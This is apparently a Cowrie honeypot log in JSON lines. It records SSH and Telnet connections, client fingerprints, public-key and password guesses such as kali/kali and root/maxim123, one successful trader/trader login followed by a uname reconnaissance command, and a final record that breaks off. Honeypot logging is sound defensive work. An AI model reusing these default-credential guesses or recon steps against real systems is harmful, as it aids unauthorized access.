{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:14.515702Z","src_ip":"31.40.204.166","session":"ce0109a2bc04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:15.485917Z","src_ip":"31.40.204.166","session":"ce0109a2bc04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.26311206817627,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:15.516410Z","src_ip":"152.42.224.71","session":"35e1b9c203e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:16.617530Z","src_ip":"31.40.204.166","session":"ce0109a2bc04","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:21.660357Z","src_ip":"47.237.167.49","session":"695c146eca20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":94.47384548187256,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:21.744610Z","src_ip":"152.42.224.71","session":"01a673c5172a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:21.889365Z","src_ip":"47.237.167.49","session":"695c146eca20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40192,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6ec00c6bb0b","protocol":"telnet","message":"New connection: 152.42.224.71:40192 (10.17.0.5:23) [session: e6ec00c6bb0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:22.581862Z"}
{"eventid":"cowrie.session.closed","duration":43.96054720878601,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:22.947853Z","src_ip":"152.42.224.71","session":"022c6c00c238","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.211039304733276,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:24.522995Z","src_ip":"152.42.224.71","session":"e556efd7d6a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.28464221954346,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:25.457353Z","src_ip":"152.42.224.71","session":"6e0ba80a9bf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.6283643245697,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:25.993702Z","src_ip":"152.42.224.71","session":"cc9f198bbb16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42696,"dst_ip":"159.203.135.109","dst_port":22,"session":"f224eaa0dac0","protocol":"ssh","message":"New connection: 31.40.204.166:42696 (159.203.135.109:22) [session: f224eaa0dac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:26.490712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:26.694779Z","src_ip":"31.40.204.166","session":"f224eaa0dac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:26.697608Z","src_ip":"31.40.204.166","session":"f224eaa0dac0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:27.504094Z","src_ip":"31.40.204.166","session":"f224eaa0dac0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:27.866078Z","src_ip":"31.40.204.166","session":"f224eaa0dac0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:27.869284Z","src_ip":"31.40.204.166","session":"f224eaa0dac0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:28.011970Z","src_ip":"31.40.204.166","session":"f224eaa0dac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:28.017598Z","src_ip":"31.40.204.166","session":"f224eaa0dac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34924,"dst_ip":"10.17.0.5","dst_port":23,"session":"890184ff7383","protocol":"telnet","message":"New connection: 152.42.224.71:34924 (10.17.0.5:23) [session: 890184ff7383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:29.906613Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":38976,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bc80984e29f","protocol":"ssh","message":"New connection: 103.173.227.57:38976 (159.203.135.109:22) [session: 2bc80984e29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:30.650483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:30.656509Z","src_ip":"103.173.227.57","session":"2bc80984e29f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:30.894622Z","src_ip":"103.173.227.57","session":"2bc80984e29f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxim123","message":"login attempt [root/maxim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:31.614085Z","src_ip":"103.173.227.57","session":"2bc80984e29f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:32.854894Z","src_ip":"103.173.227.57","session":"2bc80984e29f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.225.106","src_port":44272,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5b75589bd18","protocol":"ssh","message":"New connection: 172.245.225.106:44272 (10.17.0.5:22) [session: a5b75589bd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:36.705284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:36.709846Z","src_ip":"172.245.225.106","session":"a5b75589bd18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:36.753969Z","src_ip":"172.245.225.106","session":"a5b75589bd18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:c8:e4:df:c7:55:41:39:32:b9:e2:09:53:31:d5:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEcY8GVUmgaf4PJjA7yVAV2z0qsDgJMBxWfFD7H5olhxFXtIwJnBSzanQ9wZDIalNtyFnWzaukgd8bKW/rgKANTzZAz8uabpFAweAAYW+/PVIPZUEQ91/OkVwz/8OtbIn3zHW1TGEtFymGWrnE2sIkNnXMlm1r4A6PlHeSgviH7kC+Ejwsq1uI15QXUt89eHDqclvUCCL7eDyVh+G9JV5rxB9lF1sEikFzzkmmHwDzmVMtYsgUisKx3unF3LN5UWjhe3/dl+eItNHHJIco0cW6GCFRSKZrTwevy9292FZJWKHZeB6yfKcCAyLko0hhTiYY+9as82F8iS/1W5k2tetp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:c8:e4:df:c7:55:41:39:32:b9:e2:09:53:31:d5:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:36.954297Z","src_ip":"172.245.225.106","session":"a5b75589bd18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:c8:e4:df:c7:55:41:39:32:b9:e2:09:53:31:d5:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEcY8GVUmgaf4PJjA7yVAV2z0qsDgJMBxWfFD7H5olhxFXtIwJnBSzanQ9wZDIalNtyFnWzaukgd8bKW/rgKANTzZAz8uabpFAweAAYW+/PVIPZUEQ91/OkVwz/8OtbIn3zHW1TGEtFymGWrnE2sIkNnXMlm1r4A6PlHeSgviH7kC+Ejwsq1uI15QXUt89eHDqclvUCCL7eDyVh+G9JV5rxB9lF1sEikFzzkmmHwDzmVMtYsgUisKx3unF3LN5UWjhe3/dl+eItNHHJIco0cW6GCFRSKZrTwevy9292FZJWKHZeB6yfKcCAyLko0hhTiYY+9as82F8iS/1W5k2tetp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:36.958098Z","src_ip":"172.245.225.106","session":"a5b75589bd18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:ba:fa:be:02:90:44:3c:39:16:d9:c9:cd:6f:9a:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpD42euo/wY+3n4F4MZRiIb780lenTT0M3QB9ow4VX4gPsxb+GsrMTk1j1zaHcGv8/jSelIm31EezVNHy51ppJSa6+SvYiNMM1vA3XqzhB41vcmzQq9AuN6eWdTkqF8DMwq2bf00ZxrtfFU81LeI5CPmxcSTp32ajkT7qRT/rF3N1++1GNP0WvNVgIHr6WdPNxdH5IUA7eJV5q9N/v2WIogTAH8UKwV2lKJlrV9JIsDmZBIDLHsqCieHVhL8dgrwSq+TyaeNgR/wwUJOfPUFgvy8703dg/z49YLmhxTewMZiqsjpPvAOPondPBUmEwfhQArZYg1Zb5ePj1ZNFZ3+3j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:ba:fa:be:02:90:44:3c:39:16:d9:c9:cd:6f:9a:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:37.002435Z","src_ip":"172.245.225.106","session":"a5b75589bd18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:ba:fa:be:02:90:44:3c:39:16:d9:c9:cd:6f:9a:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpD42euo/wY+3n4F4MZRiIb780lenTT0M3QB9ow4VX4gPsxb+GsrMTk1j1zaHcGv8/jSelIm31EezVNHy51ppJSa6+SvYiNMM1vA3XqzhB41vcmzQq9AuN6eWdTkqF8DMwq2bf00ZxrtfFU81LeI5CPmxcSTp32ajkT7qRT/rF3N1++1GNP0WvNVgIHr6WdPNxdH5IUA7eJV5q9N/v2WIogTAH8UKwV2lKJlrV9JIsDmZBIDLHsqCieHVhL8dgrwSq+TyaeNgR/wwUJOfPUFgvy8703dg/z49YLmhxTewMZiqsjpPvAOPondPBUmEwfhQArZYg1Zb5ePj1ZNFZ3+3j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:37.006325Z","src_ip":"172.245.225.106","session":"a5b75589bd18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:80:10:09:72:9f:e1:f9:e7:69:e3:b2:f2:d0:eb:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzKWL865Wj/GE1mTa1ehBrHy9AYgAxIKii+qz04pkmgFi6aV0PeBdBsdp+lTndHT152+ok1dmiLEAHTUVExPi0cZifuDjG59r1RgV3Pmngfh8SLOy+4VMJHTsp/g4WBAYi/C+Zy9XDnj8MMR1+6rF9B/dIDKTtbyW+jDhWXNBJhdEvYxnuFBpH2OskTnpOgmucdnAhVRvW+9h8oHpL41gQY/GxvRVRm3+BDeWMzj+cLRFqti2AV2qBzkAM0jMXmdEaouGt3Y8tS0VjMmtcfZAtdeG6/CXMSmb/EOMNWLEUyi1hMWPVjhKKk13ESgatjtxcTA7zz+DtdJfBwjocI8o5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:80:10:09:72:9f:e1:f9:e7:69:e3:b2:f2:d0:eb:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:37.051568Z","src_ip":"172.245.225.106","session":"a5b75589bd18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:80:10:09:72:9f:e1:f9:e7:69:e3:b2:f2:d0:eb:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzKWL865Wj/GE1mTa1ehBrHy9AYgAxIKii+qz04pkmgFi6aV0PeBdBsdp+lTndHT152+ok1dmiLEAHTUVExPi0cZifuDjG59r1RgV3Pmngfh8SLOy+4VMJHTsp/g4WBAYi/C+Zy9XDnj8MMR1+6rF9B/dIDKTtbyW+jDhWXNBJhdEvYxnuFBpH2OskTnpOgmucdnAhVRvW+9h8oHpL41gQY/GxvRVRm3+BDeWMzj+cLRFqti2AV2qBzkAM0jMXmdEaouGt3Y8tS0VjMmtcfZAtdeG6/CXMSmb/EOMNWLEUyi1hMWPVjhKKk13ESgatjtxcTA7zz+DtdJfBwjocI8o5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:37.054527Z","src_ip":"172.245.225.106","session":"a5b75589bd18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:8e:e5:f7:ac:7d:00:1f:95:7f:0f:2e:81:90:42:a2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEzJ65vFCt75VBAj1iJlnW+rQFWTD5YzyOsF4h435h72","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 6d:8e:e5:f7:ac:7d:00:1f:95:7f:0f:2e:81:90:42:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:37.098106Z","src_ip":"172.245.225.106","session":"a5b75589bd18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:8e:e5:f7:ac:7d:00:1f:95:7f:0f:2e:81:90:42:a2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEzJ65vFCt75VBAj1iJlnW+rQFWTD5YzyOsF4h435h72","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:33:37.101115Z","src_ip":"172.245.225.106","session":"a5b75589bd18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:18:c8:e6:59:af:ed:23:b3:cc:3f:05:da:51:e1:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwdcdbEEiY5ptJmHMTyZqIhIwrVQyIrCeoXKDGj5D6ziGI+SV8Ksu2WvY3LP3y5ZiWpsrrzVuxbX9pUMfv8sCX0Lw68q22j7r8c9vwRMwO9oeA5ExovMq11iaLDBn08mzZIwuIZqZwCv7WGsLp4a+hGqYBBMoxCGeZ3BZIAv8bjvxXB0JlyyJsvMJnc67URG2/p+COycodSJsPBaxYpXTnj1WK63q1grSzmfqLLks26ecN1Bfw7ZRkRXr3MCYvmm4aN2Q/GQm8OnUM20ESd+DWsN1is0Pfr7TP5vE2h/wW/KeJ9brauSopx/Sk0hCGJPJQ9MKF/2p3XrCTp66az4sDq1CeHqZY7OlQcXIKl+cG9NAG9vzs0gefYjnCTm1MBe+Zhy987ade/s0+NsS2JW9iXuqjKClgNTdN9x81ld7yAwjMKoeTOfz3bETOEWDk6kGT88GZTHvFWuP60nUWS+Q44kycTwe9sA5hS3Caild+jEp2JIqYxkHD2aUgSxikdGzkz+VyYEUTgg26SXzrcCnTjywS5jZpsMFjKrXOe1rvK/PRtt8qqDUs/0PTruqHnJ0ezHMicl8D5gypwepRLdg/ADWptePC+2GTVr5Wwa5tGA+FQ7xsk4Aa1fDcrVJmDiTH3OvVaDn9PO/33hyVeCxPTsYYhMB5DrnITIE5tLejJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 